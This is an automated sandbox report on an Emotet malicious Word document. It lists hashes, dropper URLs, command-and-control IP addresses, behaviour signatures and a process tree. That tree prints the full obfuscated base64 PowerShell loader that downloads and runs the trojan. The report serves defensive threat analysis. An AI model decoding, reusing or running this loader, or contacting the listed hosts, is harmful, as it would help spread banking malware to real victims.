Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    132s
  • max time network
    156s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    03/09/2020, 16:37

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e2_61cd59ff294c4182db774060c07b523fe5c3ebaa2678666cfac6d6f94094aaef_2020-09-03__163628._doc.doc
  • Size 186KB
  • Sample200903-eckdxw2z9j
  • SHA256 61cd59ff294c4182db774060c07b523fe5c3ebaa2678666cfac6d6f94094aaef
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://dvers.me/cgi-bin/s/
  • exe.dropper

    http://fabregat.eu/images/q/
  • exe.dropper

    http://ezola.fr/Accessoires/IKh/
  • exe.dropper

    http://finewines.com.sg/wset-2-registration/6bsizM/
  • exe.dropper

    http://fernsehservice-stara.de/cgi-bin/x/
  • exe.dropper

    http://familienbande-ley.de/cgi-bin/tKX/
  • exe.dropper

    http://ketisch.de/adina/G/

Extracted

Family

  • emotet

C2

  • 140.186.212.146:80

  • 85.214.28.226:8080

  • 142.44.137.67:443

  • 162.241.242.173:8080

  • 24.43.99.75:80

  • 120.150.60.189:80

  • 189.212.199.126:443

  • 98.109.204.230:80

  • 174.45.13.118:80

  • 95.213.236.64:8080

  • 203.153.216.189:7080

  • 188.219.31.12:80

  • 168.235.67.138:7080

  • 152.168.248.128:443

  • 173.62.217.22:443

  • 176.111.60.55:8080

  • 201.173.217.124:443

  • 112.185.64.233:80

  • 190.160.53.126:80

  • 37.139.21.175:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_61cd59ff294c4182db774060c07b523fe5c3ebaa2678666cfac6d6f94094aaef_2020-09-03__163628._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1044
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABJADQAMAB1AHcAYQBmAD0AKAAoACcASQByACcAKwAnADcAJwApACsAJwA3ACcAKwAoACcAcAAnACsAJwBzAHEAJwApACkAOwAmACgAJwBuACcAKwAnAGUAJwArACcAdwAtAGkAdABlAG0AJwApACAAJABFAE4AVgA6AHUAcwBlAHIAcAByAE8AZgBpAEwAZQBcAEEAVQBRAGkAZgBGADAAXABNAE8AZwBqAE4AcgA1AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQASQByAEUAQwB0AE8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAQwBVAGAAUgBJAHQAeQBQAGAAUgBvAHQAYABvAEMAbwBsACIAIAA9ACAAKAAoACcAdAAnACsAJwBsAHMAMQAyACcAKQArACgAJwAsACAAdABsACcAKwAnAHMAMQAxACcAKQArACcALAAgACcAKwAoACcAdABsACcAKwAnAHMAJwApACkAOwAkAEQAcwAwAHkAcAB4AHIAIAA9ACAAKAAoACcATQAnACsAJwBvAGIAJwApACsAJwB3ACcAKwAoACcAdQBvACcAKwAnADYAJwApACkAOwAkAEcAcwAyADkAXwBrAHMAPQAoACcAUgByACcAKwAoACcAbQB3AHoAJwArACcAOQA3ACcAKQApADsAJABaAGgANwBpAGwAZwB0AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAoACcAQwBRACcAKwAnADkAQQB1AHEAJwArACcAaQAnACkAKwAnAGYAJwArACgAJwBmADAAQwAnACsAJwBRACcAKQArACcAOQBNACcAKwAoACcAbwAnACsAJwBnAGoAJwApACsAKAAnAG4AcgAnACsAJwA1ACcAKQArACgAJwBDAFEAJwArACcAOQAnACkAKQAgAC0AQwBSAGUAcABMAGEAQwBlACAAIAAoACcAQwBRACcAKwAnADkAJwApACwAWwBjAEgAQQByAF0AOQAyACkAKwAkAEQAcwAwAHkAcAB4AHIAKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABKADgAOAB5AGsAYwBfAD0AKAAnAFkAJwArACcAMwAzACcAKwAoACcAMAAnACsAJwBwAGkAOQAnACkAKQA7ACQATgA5ADMAOQAyAHMAaQA9AC4AKAAnAG4AZQAnACsAJwB3AC0AJwArACcAbwBiAGoAZQBjAHQAJwApACAATgBFAFQALgBXAEUAYgBjAEwAaQBFAG4AVAA7ACQAUwA3AG0AYQBuAG4AZwA9ACgAKAAnAGgAJwArACcAdAB0ACcAKQArACgAJwBwADoAJwArACcALwAnACkAKwAnAC8AZAAnACsAKAAnAHYAJwArACcAZQByAHMAJwApACsAJwAuACcAKwAoACcAbQBlAC8AYwBnAGkALQAnACsAJwBiACcAKwAnAGkAbgAvAHMALwAnACsAJwAqAGgAdAB0ACcAKQArACgAJwBwADoAJwArACcALwAnACkAKwAoACcALwBmAGEAJwArACcAYgByAGUAZwAnACsAJwBhAHQALgBlACcAKQArACgAJwB1AC8AaQAnACsAJwBtAGEAJwArACcAZwBlACcAKQArACgAJwBzAC8AJwArACcAcQAvACcAKQArACgAJwAqAGgAJwArACcAdAAnACsAJwB0AHAAOgAvAC8AZQB6ACcAKQArACgAJwBvAGwAYQAnACsAJwAuACcAKQArACcAZgAnACsAJwByAC8AJwArACcAQQAnACsAKAAnAGMAYwAnACsAJwBlAHMAJwArACcAcwBvAGkAJwApACsAJwByAGUAJwArACgAJwBzAC8AJwArACcASQAnACkAKwAoACcASwBoACcAKwAnAC8AJwApACsAJwAqACcAKwAnAGgAdAAnACsAKAAnAHQAcAAnACsAJwA6AC8ALwBmACcAKQArACcAaQAnACsAKAAnAG4AZQAnACsAJwB3AGkAJwApACsAJwBuAGUAJwArACcAcwAuACcAKwAnAGMAbwAnACsAKAAnAG0ALgBzACcAKwAnAGcAJwApACsAJwAvACcAKwAnAHcAcwAnACsAKAAnAGUAdAAnACsAJwAtADIALQByAGUAZwBpACcAKwAnAHMAJwArACcAdAByACcAKQArACcAYQB0ACcAKwAoACcAaQBvAG4ALwA2AGIAcwBpACcAKwAnAHoAJwArACcATQAnACsAJwAvACoAaAAnACkAKwAoACcAdAB0ACcAKwAnAHAAOgAvAC8AJwApACsAKAAnAGYAZQAnACsAJwByACcAKQArACcAbgBzACcAKwAoACcAZQBoAHMAZQAnACsAJwByAHYAaQBjACcAKwAnAGUALQAnACsAJwBzAHQAJwArACcAYQByAGEALgAnACkAKwAnAGQAJwArACcAZQAnACsAJwAvAGMAJwArACcAZwBpACcAKwAoACcALQBiAGkAbgAnACsAJwAvAHgAJwArACcALwAqAGgAdAB0AHAAOgAnACsAJwAvAC8AZgBhAG0AJwApACsAJwBpACcAKwAoACcAbABpACcAKwAnAGUAJwApACsAJwBuACcAKwAoACcAYgBhAG4AZABlAC0AJwArACcAbAAnACkAKwAnAGUAeQAnACsAKAAnAC4AZABlAC8AYwAnACsAJwBnACcAKwAnAGkALQBiAGkAbgAvACcAKwAnAHQASwBYAC8AKgBoAHQAdABwADoALwAnACsAJwAvAGsAZQB0ACcAKwAnAGkAJwApACsAJwBzACcAKwAoACcAYwBoAC4AZABlAC8AYQAnACsAJwBkACcAKwAnAGkAJwApACsAKAAnAG4AYQAvAEcAJwArACcALwAnACkAKQAuACIAUwBwAGAAbABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABZAGUAawBlAGoAaQB1AD0AKAAnAFoAJwArACgAJwBoACcAKwAnAGgAOQAnACkAKwAoACcAZgAnACsAJwA1ADEAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABBADAAOABiAGYAYQB3ACAAaQBuACAAJABTADcAbQBhAG4AbgBnACkAewB0AHIAeQB7ACQATgA5ADMAOQAyAHMAaQAuACIAZABvAHcATgBMAGAATwBBAEQARgBgAEkAbABFACIAKAAkAEEAMAA4AGIAZgBhAHcALAAgACQAWgBoADcAaQBsAGcAdAApADsAJABOAGEAaQB4AHIAZwB0AD0AKAAnAE4AMgAnACsAJwBfACcAKwAoACcAaQBzAHUAJwArACcAaQAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABaAGgANwBpAGwAZwB0ACkALgAiAGwAYABFAE4ARwBUAEgAIgAgAC0AZwBlACAAMgA4ADQANwA5ACkAIAB7ACYAKAAnAEkAbgB2ACcAKwAnAG8AawBlAC0ASQAnACsAJwB0AGUAbQAnACkAKAAkAFoAaAA3AGkAbABnAHQAKQA7ACQASwB5AHUAeAAzADIAZgA9ACgAKAAnAFYAegBjACcAKwAnADYAJwApACsAKAAnAGMANQAnACsAJwBlACcAKQApADsAYgByAGUAYQBrADsAJABGAHAAbwBhAGsAcQA0AD0AKAAoACcAQwB3ACcAKwAnAHQAJwApACsAJwBqACcAKwAoACcAbQAnACsAJwB1AG8AJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFUAbgAyAGcAZgA5ADMAPQAoACgAJwBCACcAKwAnAGoAeQAnACkAKwAnAHIAJwArACgAJwByACcAKwAnAGwAcQAnACkAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1596
    • C:\Users\Admin\Auqiff0\Mogjnr5\Mobwuo6.exe
      "C:\Users\Admin\Auqiff0\Mogjnr5\Mobwuo6.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:856
      • C:\Windows\SysWOW64\CertEnrollCtrl\NlsLexicons004c.exe
        "C:\Windows\SysWOW64\CertEnrollCtrl\NlsLexicons004c.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1328

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/856-18-0x00000000001D0000-0x00000000001DC000-memory.dmp
        Download

        memory/1044-3-0x0000000006CD0000-0x0000000006ED0000-memory.dmp
        Download

        memory/1044-4-0x0000000006CD0000-0x0000000006ED0000-memory.dmp
        Download

        memory/1044-5-0x000000000AD50000-0x000000000AD54000-memory.dmp
        Download

        memory/1044-2-0x0000000008860000-0x0000000008864000-memory.dmp
        Download

        memory/1328-22-0x0000000000230000-0x000000000023C000-memory.dmp
        Download

        memory/1596-9-0x000007FEE8BF0000-0x000007FEE95DC000-memory.dmp
        Download

        memory/1596-15-0x000000001C340000-0x000000001C341000-memory.dmp
        Download

        memory/1596-14-0x000000001C2B0000-0x000000001C2B1000-memory.dmp
        Download

        memory/1596-13-0x0000000002530000-0x0000000002531000-memory.dmp
        Download

        memory/1596-12-0x000000001A880000-0x000000001A881000-memory.dmp
        Download

        memory/1596-11-0x000000001AAE0000-0x000000001AAE1000-memory.dmp
        Download

        memory/1596-10-0x0000000002450000-0x0000000002451000-memory.dmp
        Download

        memory/1832-23-0x000007FEF6430000-0x000007FEF66AA000-memory.dmp
        Download